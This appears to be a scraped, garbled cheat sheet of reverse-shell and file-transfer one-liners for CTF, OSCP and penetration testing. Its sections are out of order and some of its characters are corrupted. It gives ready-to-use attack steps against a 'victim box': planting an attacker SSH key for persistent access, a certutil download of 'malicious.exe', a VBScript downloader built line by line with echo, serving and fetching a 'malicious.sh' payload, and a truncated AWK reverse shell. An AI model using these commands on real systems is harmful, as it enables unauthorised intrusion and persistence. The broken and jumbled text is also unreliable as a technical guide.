#REVERSE SSH SHELL HOW TO#
#REVERSE SSH SHELL DOWNLOAD#
#REVERSE SSH SHELL FREE#
#REVERSE SSH SHELL WINDOWS#

#REVERSE SSH SHELL HOW TO#

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# To upload any file or folder use the following changing _PORT_/_FILE2TRANSFER_/_VICTIM_USER_/_VICTIM_IP_ etc as needs be You can now ssh freely one way (provided everything went smoothly), for 2 way access repeat the process the other way. Ssh-keygen -t rsa -b 4096 -C ' ' -f ~/.ssh/id_rsa_hacker # attack box (set correct permissions on the private key)Ĭhmod 600 ~/.ssh/id_rsa_hacker # cat and copy the contents of your new SSH public key i.e id_rsa_hacker.pub, then switch to the victim box and append to the end of the authorized_hosts file. Not necessarily reverse shell but a quick and dirty method thats useful for transferring files cross server once a foothold has been attained. Rsync’ing files/folders between Linux servers.

#REVERSE SSH SHELL DOWNLOAD#

You can use Certutil to download files ( source): certutil -urlcache -f malicious.exe Or if possible… save yourself some hassel and “live off the land” with this slick 1 liner. echo strUrl = (0) > wget.vbsĮcho StrFile = (1) > wget.vbsĮcho Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 > wget.vbsĮcho Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 > wget.vbsĮcho Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 > wget.vbsĮcho Const HTTPREQUEST_PROXYSETTING_PROXY = 2 > wget.vbsĮcho Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts > wget.vbsĮcho Set http = CreateObject('WinHttp.WinHttpRequest.5.1') > wget.vbsĮcho If http Is Nothing Then Set http = CreateObject('WinHttp.WinHttpRequest') > wget.vbsĮcho If http Is Nothing Then Set http = CreateObject('MSXML2.ServerXMLHTTP') > wget.vbsĮcho If http Is Nothing Then Set http = CreateObject('Microsoft.XMLHTTP') > wget.vbsĮcho http.Open 'GET', strURL, False > wget.vbsĮcho varByteArray = http.ResponseBody > wget.vbsĮcho Set fs = CreateObject('Scripting.FileSystemObject') > wget.vbsĮcho Set ts = fs.CreateTextFile(StrFile, True) > wget.vbsĮcho For lngCounter = 0 to UBound(varByteArray) > wget.vbsĮcho ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) > wget.vbsĮcho ts.Close > wget.vbs # then still on the victim machine use cscript to execute the vbscript 'wget.vbs' to download the file:

#REVERSE SSH SHELL WINDOWS#

Or Windows as it doesnt have wget you need to create a Visual Basic script which does the same (old/OSCP way see CertUtil after), so copy and paste this into a terminal be sure to press enter another time to execute the last line and actually write the script to the system. # = Python 3Īnd retrieve the file using wget on Linux wget AWK Reverse shell awk 'BEGIN p.destroy() s.close() īecause when you get a shell usually you want to get something up there, python is my usual go to for spinning up a quick server to wget a file (assuming your IP is 192.168.0.10 and you have a file called malicious.sh in the folder you executed the python server from ).

#REVERSE SSH SHELL FREE#

I will be actively adding to this list so feel free to bookmark or contribute. If you are taking part in catch the flag competitions, OSCP (like me) or lucky enough to get a shell on a victim box during an active penetration test engagement, here is a list of useful one-liner reverse shells, but be warned, as I started to write this post it has become slightly more than just reverse shells and has deviated to include file transfer methods as you will usually want to do both.

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Reverse ssh shell